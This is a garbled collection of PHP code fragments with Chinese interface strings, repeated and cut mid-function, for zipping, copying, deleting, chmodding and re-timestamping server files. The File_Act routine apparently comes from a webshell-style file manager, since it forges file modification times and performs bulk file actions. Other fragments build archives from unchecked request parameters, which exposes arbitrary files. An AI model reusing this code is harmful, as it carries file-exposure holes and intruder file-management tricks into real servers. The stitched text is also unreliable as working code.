function File_Act($array, $actall, $inver, $REAL_DIR) { if (($count = count($array)) == 0) { return '请选择文件'; } if ($actall == 'e') { function listfiles($dir = ".", $faisunZIP, $mydir) { $sub_file_num = 0; if (is_file($mydir . "{$dir}")) { if (realpath($faisunZIP->gzfilename) != realpath($mydir . "{$dir}")) { $faisunZIP->addfile(file_get_contents($mydir . $dir), "{$dir}"); return 1; } return 0; } $handle = opendir($mydir . "{$dir}"); while ($file = readdir($handle)) { if ($file == "." || $file == "..") { continue; } if (is_dir($mydir . "{$dir}/{$file}")) { $sub_file_num += listfiles("{$dir}/{$file}", $faisunZIP, $mydir); } else { if (realpath($faisunZIP->gzfilename) != realpath($mydir . "{$dir}/{$file}")) { $faisunZIP->addfile(file_get_contents($mydir . $dir . "/" . $file), "{$dir}/{$file}"); $sub_file_num++; } } } closedir($handle); if (!$sub_file_num) { $faisunZIP->addfile("", "{$dir}/"); } return $sub_file_num; } function num_bitunit($num) { $bitunit = array(' B', ' KB', ' MB', ' GB'); for ($key = 0; $key < count($bitunit); $key++) { if ($num >= pow(2, 10 * $key) - 1) { //1023B 会显示为 1KB $num_bitunit_str = ceil($num / pow(2, 10 * $key) * 100) / 100 . " {$bitunit[$key]}"; } } return $num_bitunit_str; } $mydir = $REAL_DIR . '/'; if (is_array($array)) { $faisunZIP = new PHPzip(); if ($faisunZIP->startfile("{$inver}")) { $filenum = 0; foreach ($array as $file) { $filenum += listfiles($file, $faisunZIP, $mydir); } $faisunZIP->createfile(); return "压缩完成,共添加 {$filenum} 个文件.<br><a href='{$inver}'>点击下载 {$inver} (" . num_bitunit(filesize("{$inver}")) . ")</a>"; } else { return "{$inver} 不能写入,请检查路径或权限是否正确.<br>"; } } else { return "没有选择的文件或目录.<br>"; } } $i = 0; while ($i < $count) { $array[$i] = urldecode($array[$i]); switch ($actall) { case "a": $inver = urldecode($inver); if (!is_dir($inver)) { return '路径错误'; } $filename = array_pop(explode('/', $array[$i])); @copy($array[$i], File_Str($inver . '/' . $filename)); $msg = '复制到' . $inver . '目录'; break; case "b": if (!@unlink($array[$i])) { @chmod($filename, 0666); @unlink($array[$i]); } $msg = '删除'; break; case "c": if (!eregi("^[0-7]{4}\$", $inver)) { return '属性值错误'; } $newmode = base_convert($inver, 8, 10); @chmod($array[$i], $newmode); $msg = '属性修改为' . $inver; break; case "d": @touch($array[$i], strtotime($inver)); $msg = '修改时间为' . $inver; break; } $i++; } return '所选文件' . $msg . '完毕'; }
} return $sub_file_num; } function num_bitunit($num) { $bitunit = array(' B', ' KB', ' MB', ' GB'); for ($key = 0; $key < count($bitunit); $key++) { if ($num >= pow(2, 10 * $key) - 1) { //1023B 会显示为 1KB $num_bitunit_str = ceil($num / pow(2, 10 * $key) * 100) / 100 . " {$bitunit[$key]}"; } } return $num_bitunit_str; } if (is_array($_REQUEST[dfile])) { $dodozip = new PHPzip(); if ($_REQUEST["file_type"] != NULL) { $dodozip->SetFileFilter($_REQUEST["file_type"]); } if ($dodozip->startfile("{$_REQUEST['todir']}{$_REQUEST['zipname']}")) { echo "正在添加压缩文件...<br><br>"; $filenum = 0; foreach ($_REQUEST[dfile] as $file) { if (is_file($file)) { if (!empty($dodozip->filefilters)) { if (!in_array(end(explode(".", $file)), $dodozip->filefilters)) { continue; } } echo "<font face=\"wingdings\" size=\"5\">2</font> {$file}<br>"; } else {
function listfiles($dir = ".") { global $faisunZIP; $sub_file_num = 0; if (is_file("{$dir}")) { if (realpath($faisunZIP->gzfilename) != realpath("{$dir}")) { $faisunZIP->addfile(implode('', file("{$dir}")), basename($dir)); return 1; } return 0; } return $sub_file_num; } $flname = "attachments/photo/user_{$my[user_id]}/theme.zip"; if (is_array($files)) { $faisunZIP = new PHPzip(); if ($faisunZIP->startfile($flname)) { $filenum = 0; foreach ($files as $file) { $filenum += listfiles($file); } $faisunZIP->createfile(); if ($filenum > 0) { header("location: {$webaddr}/{$flname}"); } else { header("location: {$webaddr}/op/theme"); } } } exit; }
* @param $num * @return string */ function num_bitunit($num) { $bitunit = array(' B', ' KB', ' MB', ' GB'); for ($key = 0; $key < count($bitunit); $key++) { if ($num >= pow(2, 10 * $key) - 1) { //1023B 会显示为 1KB $num_bitunit_str = ceil($num / pow(2, 10 * $key) * 100) / 100 . " {$bitunit[$key]}"; } } return $num_bitunit_str; } if (is_array($_REQUEST[dfile])) { $faisunZIP = new PHPzip(); if ($faisunZIP->startfile("{$_REQUEST['todir']}{$_REQUEST['zipname']}")) { echo "正在添加压缩文件...<br><br>"; $filenum = 0; foreach ($_REQUEST[dfile] as $file) { if (is_file($file)) { echo "文件: {$file}<br>"; } else { echo "目录: {$file}<br>"; } $filenum += listfiles($file); } $faisunZIP->createfile(); echo "<br>压缩完成,共添加 {$filenum} 个文件.<br><a href='{$_REQUEST['todir']}{$_REQUEST['zipname']}'>{$_REQUEST['todir']}{$_REQUEST['zipname']} (" . num_bitunit(filesize("{$_REQUEST['todir']}{$_REQUEST['zipname']}")) . ")</a>"; } else { echo "{$_REQUEST['todir']}{$_REQUEST['zipname']} 不能写入,请检查路径或权限是否正确.<br>";